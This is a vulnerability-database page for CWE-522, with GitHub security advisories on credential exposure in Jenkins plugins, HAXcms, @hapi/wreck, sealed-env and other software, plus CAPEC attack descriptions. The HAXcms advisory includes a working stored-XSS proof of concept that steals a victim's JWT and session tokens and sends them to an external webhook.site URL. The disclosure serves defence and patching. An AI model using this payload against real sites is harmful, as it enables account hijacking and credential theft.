CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1811 vulnerabilities reference this CWE, most recent first.
GHSA-X2W2-5552-FJV6
Vulnerability from github – Published: 2022-11-16 12:00 – Updated: 2023-10-30 21:17NS-ND Integration Performance Publisher Plugin 4.8.0.143 and earlier stores passwords unencrypted in job config.xml files on the Jenkins controller as part of its configuration.
These passwords can be viewed by attackers with Item/Extended Read permission or access to the Jenkins controller file system.
NS-ND Integration Performance Publisher Plugin 4.8.0.146 stores passwords encrypted once job configurations are saved again.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.8.0.143"
},
"package": {
"ecosystem": "Maven",
"name": "io.jenkins.plugins:cavisson-ns-nd-integration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.8.0.146"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-45392"
],
"database_specific": {
"cwe_ids": [
"CWE-256",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-21T22:23:56Z",
"nvd_published_at": "2022-11-15T20:15:00Z",
"severity": "MODERATE"
},
"details": "NS-ND Integration Performance Publisher Plugin 4.8.0.143 and earlier stores passwords unencrypted in job `config.xml` files on the Jenkins controller as part of its configuration.\n\nThese passwords can be viewed by attackers with Item/Extended Read permission or access to the Jenkins controller file system.\n\nNS-ND Integration Performance Publisher Plugin 4.8.0.146 stores passwords encrypted once job configurations are saved again.",
"id": "GHSA-x2w2-5552-fjv6",
"modified": "2023-10-30T21:17:20Z",
"published": "2022-11-16T12:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45392"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/cavisson-ns-nd-integration-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-11-15/#SECURITY-2912"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/11/15/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Plaintext Storage of a Password in Jenkins NS-ND Integration Performance Publisher Plugin"
}
GHSA-X37J-VHV4-HHJM
Vulnerability from github – Published: 2022-08-02 00:00 – Updated: 2022-08-06 00:00IBM Robotic Process Automation 21.0.0, 21.0.1, and 21.0.2 is vulnerable to insufficiently protected credentials for users created via a bulk upload. IBM X-Force ID: 228888.
{
"affected": [],
"aliases": [
"CVE-2022-33169"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-01T11:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Robotic Process Automation 21.0.0, 21.0.1, and 21.0.2 is vulnerable to insufficiently protected credentials for users created via a bulk upload. IBM X-Force ID: 228888.",
"id": "GHSA-x37j-vhv4-hhjm",
"modified": "2022-08-06T00:00:54Z",
"published": "2022-08-02T00:00:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33169"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/228888"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6608454"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X3G4-WH65-9MX2
Vulnerability from github – Published: 2023-06-08 00:30 – Updated: 2024-04-04 04:40The local Vuforia web application does not support HTTPS, and federated credentials are passed via basic authentication.
{
"affected": [],
"aliases": [
"CVE-2023-29168"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T22:15:09Z",
"severity": "HIGH"
},
"details": "The local Vuforia web application does not support HTTPS, and federated credentials are passed via basic authentication.\n\n",
"id": "GHSA-x3g4-wh65-9mx2",
"modified": "2024-04-04T04:40:08Z",
"published": "2023-06-08T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29168"
},
{
"type": "WEB",
"url": "https://https://www.cisa.gov/news-events/ics-advisories/icsa-23-131-13"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-131-13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X3R2-FJ3R-G5MV
Vulnerability from github – Published: 2026-05-12 15:09 – Updated: 2026-05-13 16:24In sealed-env enterprise mode, versions 0.1.0-alpha.1 through 0.1.0-alpha.3 embedded the operator's literal TOTP secret in the JWS payload of every minted unseal token. JWS payload is base64-encoded JSON, NOT encrypted. Any party who could observe a minted token (CI build logs, container env dumps, kubectl describe pod, Sentry/Rollbar stack traces, log aggregators) could decode the payload and extract the TOTP secret in plaintext.
An attacker with (a) the master key (e.g. from a separate compromise such as a leaked CI secret) and (b) any single leaked unseal token can use the extracted TOTP secret to mint new valid unseal tokens for any future deploy indefinitely, breaking the second-factor property the library claimed.
Patched in 0.1.0-alpha.4 by replacing the embedded secret with a salt-bound HMAC derivative (enterprise_epoch = HMAC(totpSecret, salt || "epoch-v1")). The TOTP secret never leaves the operator's machine in the new design. The wire format change is incompatible — files sealed by affected versions must be re-sealed and the TOTP secret rotated. Full migration playbook in CHANGELOG.md.
Reported by an external reviewer who decoded the payload of a real minted token and confirmed bit-for-bit equality with the operator's .env.local TOTP secret.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sealed-env"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.0-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.github.davidalmeidac:sealed-env-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.0-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45091"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T15:09:08Z",
"nvd_published_at": "2026-05-12T14:17:08Z",
"severity": "CRITICAL"
},
"details": "In sealed-env enterprise mode, versions 0.1.0-alpha.1 through 0.1.0-alpha.3 embedded the operator\u0027s literal TOTP secret in the JWS payload of every minted unseal token. JWS payload is base64-encoded JSON, NOT encrypted. Any party who could observe a minted token (CI build logs, container env dumps, kubectl describe pod, Sentry/Rollbar stack traces, log aggregators) could decode the payload and extract the TOTP secret in plaintext.\n\nAn attacker with (a) the master key (e.g. from a separate compromise such as a leaked CI secret) and (b) any single leaked unseal token can use the extracted TOTP secret to mint new valid unseal tokens for any future deploy indefinitely, breaking the second-factor property the library claimed.\n\nPatched in 0.1.0-alpha.4 by replacing the embedded secret with a salt-bound HMAC derivative (`enterprise_epoch = HMAC(totpSecret, salt || \"epoch-v1\")`). The TOTP secret never leaves the operator\u0027s machine in the new design. The wire format change is incompatible \u2014 files sealed by affected versions must be re-sealed and the TOTP secret rotated. Full migration playbook in CHANGELOG.md.\n\nReported by an external reviewer who decoded the payload of a real minted token and confirmed bit-for-bit equality with the operator\u0027s .env.local TOTP secret.",
"id": "GHSA-x3r2-fj3r-g5mv",
"modified": "2026-05-13T16:24:37Z",
"published": "2026-05-12T15:09:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/davidalmeidac/sealed-env/security/advisories/GHSA-x3r2-fj3r-g5mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45091"
},
{
"type": "PACKAGE",
"url": "https://github.com/davidalmeidac/sealed-env"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "sealed-env: TOTP secret embedded in unseal token payload (enterprise mode)"
}
GHSA-X3X5-7H4H-GWXG
Vulnerability from github – Published: 2026-05-19 14:47 – Updated: 2026-06-09 11:56Summary
An attack chain utilizing Stored XSS alongside dynamic token exposure in the /system/api/connectionSettings endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the jwt, user_token, site_token, and appstore_token) into a global JavaScript variable (window.appSettings). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.
Details
In Operations.php (connectionSettings()), the system returns a Javascript object designed to bootstrap the frontend context. This object, window.appSettings, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session.
While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:
1. The Vector: The system is vulnerable to Stored XSS (e.g., via injected iframe srcdoc or <video-player>).
2. The Exposure: Because the connectionSettings endpoint serves the tokens locally based on the active PHPSESSID cookie, any malicious script running in the browser context can intercept these keys.
3. The Chain: HAXcms isolates user environments by URL path (/<username>/). An attacker can use XSS to force the victim's browser to fetch their target username's specific settings via fetch('/<username>/system/api/connectionSettings'). Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.
PoC
1. Setup the Webhook Target
Prepare an external webhook (e.g., webhook.site) to receive the stolen data.
2. Inject the "Kill Chain" Payload
As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an <iframe>):
<iframe srcdoc="<script>
const targetUsername = 'bto108'; // Replace with target victim
fetch(`/${targetUsername}/system/api/connectionSettings`)
.then(res => res.text())
.then(data => {
const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));
const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');
const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');
let aToken = 'N/A';
if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {
aToken = s.appStore.params.appstore_token;
}
// Exfiltrate via Image Request to bypass CORS
const payload = btoa(JSON.stringify({
target: targetUsername,
jwt: s.jwt,
user_token: uToken,
site_token: sToken,
appstore_token: aToken
}));
new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;
});
</script>" style="display:none"></iframe>
3. Execution & Verification
- When the victim (e.g., user bto108) views the compromised page, their browser automatically fires the fetch request, silently attaching their active session cookie.
- The server responds with their connection settings.
- The script parses their jwt, user_token, and other keys, encoding them in base64.
- The attacker receives the full JWT and token dump on their webhook.
Screenshots confirming the data leakage and webhook capture:
Impact
Critical Severity.
This attack completely compromises the primary defense mechanism of the CMS. By stealing the jwt and user_token, the attacker achieves total account hijacking without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).
The reliance on a global Javascript variable (window.appSettings) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@haxtheweb/haxcms-nodejs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46511"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-79",
"CWE-922"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T14:47:03Z",
"nvd_published_at": "2026-06-05T19:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\nAn attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session\u0027s authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim\u0027s browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.\n\n### Details\nIn `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a \"skeleton key\" because it aggregates all necessary operational tokens for the active session. \n\nWhile HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:\n1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `\u003cvideo-player\u003e`).\n2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys.\n3. **The Chain**: HAXcms isolates user environments by URL path (`/\u003cusername\u003e/`). An attacker can use XSS to force the victim\u0027s browser to fetch their *target* username\u0027s specific settings via `fetch(\u0027/\u003cusername\u003e/system/api/connectionSettings\u0027)`. Since the browser implicitly attaches the victim\u0027s session cookie, the server authenticates the request and returns the victim\u0027s valid JWT and tokens.\n\n### PoC\n**1. Setup the Webhook Target**\nPrepare an external webhook (e.g., `webhook.site`) to receive the stolen data.\n\n**2. Inject the \"Kill Chain\" Payload**\nAs an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `\u003ciframe\u003e`):\n\n```html\n\u003ciframe srcdoc=\"\u003cscript\u003e\n const targetUsername = \u0027bto108\u0027; // Replace with target victim\n\n fetch(`/${targetUsername}/system/api/connectionSettings`)\n .then(res =\u003e res.text())\n .then(data =\u003e {\n const s = JSON.parse(data.substring(data.indexOf(\u0027{\u0027), data.lastIndexOf(\u0027}\u0027) + 1));\n \n const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get(\u0027user_token\u0027);\n const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get(\u0027site_token\u0027);\n \n let aToken = \u0027N/A\u0027;\n if (s.appStore \u0026\u0026 s.appStore.params \u0026\u0026 s.appStore.params.appstore_token) {\n aToken = s.appStore.params.appstore_token;\n }\n\n // Exfiltrate via Image Request to bypass CORS\n const payload = btoa(JSON.stringify({\n target: targetUsername, \n jwt: s.jwt, \n user_token: uToken, \n site_token: sToken, \n appstore_token: aToken\n }));\n \n new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;\n });\n\u003c/script\u003e\" style=\"display:none\"\u003e\u003c/iframe\u003e\n```\n\n**3. Execution \u0026 Verification**\n- When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie.\n- The server responds with their connection settings.\n- The script parses their `jwt`, `user_token`, and other keys, encoding them in base64.\n- The attacker receives the full JWT and token dump on their webhook.\n\n*Screenshots confirming the data leakage and webhook capture:*\n\n\n\n\n\n\n\n### Impact\n**Critical Severity.** \nThis attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim\u0027s password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).\n\nThe reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.",
"id": "GHSA-x3x5-7h4h-gwxg",
"modified": "2026-06-09T11:56:58Z",
"published": "2026-05-19T14:47:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-x3x5-7h4h-gwxg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46511"
},
{
"type": "PACKAGE",
"url": "https://github.com/haxtheweb/issues"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack "
}
GHSA-X426-X7CC-3FPC
Vulnerability from github – Published: 2026-06-11 13:27 – Updated: 2026-06-11 13:27Impact
Wreck strips credential headers (Authorization, Cookie, Proxy-Authorization) before following a cross-origin redirect, but the origin check compares hostnames only and ignores scheme and port. As a result, credentials are forwarded intact across same-host port changes and HTTPS-to-HTTP downgrades, allowing a co-tenant on an adjacent port or a network-position attacker capable of forging a redirect to capture bearer tokens, session cookies, and proxy credentials and impersonate the victim against the upstream service. The fix replaces the hostname comparison with a full-origin comparison (scheme, host, and port), aligning the behavior with the WHATWG Fetch same-origin definition used by browsers.
Patches
Upgrade to >= 18.1.2.
Workarounds
- Set
redirects: 0(default) and handle redirects manually with a strict origin check. - Use the
beforeRedirecthook to inspect the redirect target and abort or strip sensitive headers before the follow-on request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@hapi/wreck"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "18.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48022"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-319",
"CWE-346",
"CWE-522",
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T13:27:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nWreck strips credential headers (Authorization, Cookie, Proxy-Authorization) before following a cross-origin redirect, but the origin check compares hostnames only and ignores scheme and port. As a result, credentials are forwarded intact across same-host port changes and HTTPS-to-HTTP downgrades, allowing a co-tenant on an adjacent port or a network-position attacker capable of forging a redirect to capture bearer tokens, session cookies, and proxy credentials and impersonate the victim against the upstream service. The fix replaces the hostname comparison with a full-origin comparison (scheme, host, and port), aligning the behavior with the WHATWG Fetch same-origin definition used by browsers.\n\n### Patches\nUpgrade to \u003e= 18.1.2.\n\n### Workarounds\n- Set `redirects: 0` (default) and handle redirects manually with a strict origin check.\n- Use the `beforeRedirect` hook to inspect the redirect target and abort or strip sensitive headers before the follow-on request.",
"id": "GHSA-x426-x7cc-3fpc",
"modified": "2026-06-11T13:27:05Z",
"published": "2026-06-11T13:27:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hapijs/wreck/security/advisories/GHSA-x426-x7cc-3fpc"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/wreck/commit/b93323b63ad3adb14d2b4019d77219182211641e"
},
{
"type": "PACKAGE",
"url": "https://github.com/hapijs/wreck"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@hapi/wreck: Sensitive credential headers leak across cross-port and cross-scheme redirects"
}
GHSA-X464-R7F4-GJ3M
Vulnerability from github – Published: 2022-05-13 01:15 – Updated: 2023-10-26 15:43Jenkins Koji Plugin stores credentials unencrypted in its global configuration file org.jenkinsci.plugins.koji.KojiBuilder.xml on the Jenkins controller. These credentials can be viewed by users with access to the Jenkins controller file system.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:koji"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10298"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-26T15:43:55Z",
"nvd_published_at": "2019-04-04T16:29:00Z",
"severity": "LOW"
},
"details": "Jenkins Koji Plugin stores credentials unencrypted in its global configuration file `org.jenkinsci.plugins.koji.KojiBuilder.xml` on the Jenkins controller. These credentials can be viewed by users with access to the Jenkins controller file system.",
"id": "GHSA-x464-r7f4-gj3m",
"modified": "2023-10-26T15:43:55Z",
"published": "2022-05-13T01:15:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10298"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-04-03/#SECURITY-1092"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/04/12/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Koji Plugin stores credentials in plain text"
}
GHSA-X4CG-7V4W-VQHC
Vulnerability from github – Published: 2022-05-24 17:06 – Updated: 2022-05-24 17:06An issue was discovered in Serpico (aka SimplE RePort wrIting and CollaboratiOn tool) 1.3.0. An admin can change their password without providing the current password, by using interfaces outside the Change Password screen. Thus, requiring the admin to enter an Old Password value on the Change Password screen does not enhance security. This is problematic in conjunction with XSS.
{
"affected": [],
"aliases": [
"CVE-2019-19857"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-01-15T23:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Serpico (aka SimplE RePort wrIting and CollaboratiOn tool) 1.3.0. An admin can change their password without providing the current password, by using interfaces outside the Change Password screen. Thus, requiring the admin to enter an Old Password value on the Change Password screen does not enhance security. This is problematic in conjunction with XSS.",
"id": "GHSA-x4cg-7v4w-vqhc",
"modified": "2022-05-24T17:06:48Z",
"published": "2022-05-24T17:06:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19857"
},
{
"type": "WEB",
"url": "https://websec.nl/news.php"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X4M4-RGQ3-WF3X
Vulnerability from github – Published: 2023-01-31 00:30 – Updated: 2023-02-07 21:30A CWE-522: Insufficiently Protected Credentials vulnerability exists that could result in unwanted access to a DCE instance when performed over a network by a malicious third-party. This CVE is unique from CVE-2022-32520. Affected Products: Data Center Expert (Versions prior to V7.9.0)
{
"affected": [],
"aliases": [
"CVE-2022-32518"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-30T23:15:00Z",
"severity": "CRITICAL"
},
"details": "A CWE-522: Insufficiently Protected Credentials vulnerability exists that could result in unwanted access to a DCE instance when performed over a network by a malicious third-party. This CVE is unique from CVE-2022-32520. Affected Products: Data Center Expert (Versions prior to V7.9.0)",
"id": "GHSA-x4m4-rgq3-wf3x",
"modified": "2023-02-07T21:30:24Z",
"published": "2023-01-31T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32518"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2022-165-04_+Data_Center_Expert_Security_Notification.pdf\u0026p_Doc_Ref=SEVD-2022-165-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X4M5-J4X4-4WJG
Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2025-03-13 17:52Jenkins before 1.638 and LTS before 1.625.2 do not properly restrict access to API tokens which might allow remote administrators to gain privileges and run scripts by using an API token of another user.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.625.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.626"
},
{
"fixed": "1.638"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-5323"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-13T17:52:36Z",
"nvd_published_at": "2015-11-25T20:59:00Z",
"severity": "MODERATE"
},
"details": "Jenkins before 1.638 and LTS before 1.625.2 do not properly restrict access to API tokens which might allow remote administrators to gain privileges and run scripts by using an API token of another user.",
"id": "GHSA-x4m5-j4x4-4wjg",
"modified": "2025-03-13T17:52:36Z",
"published": "2022-05-13T01:30:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5323"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/b3f16489ad5f15c3e749ed066cf6b4251f6668c6"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2016:0070"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-0489.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jenkins allows Administrators to Access API Tokens"
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.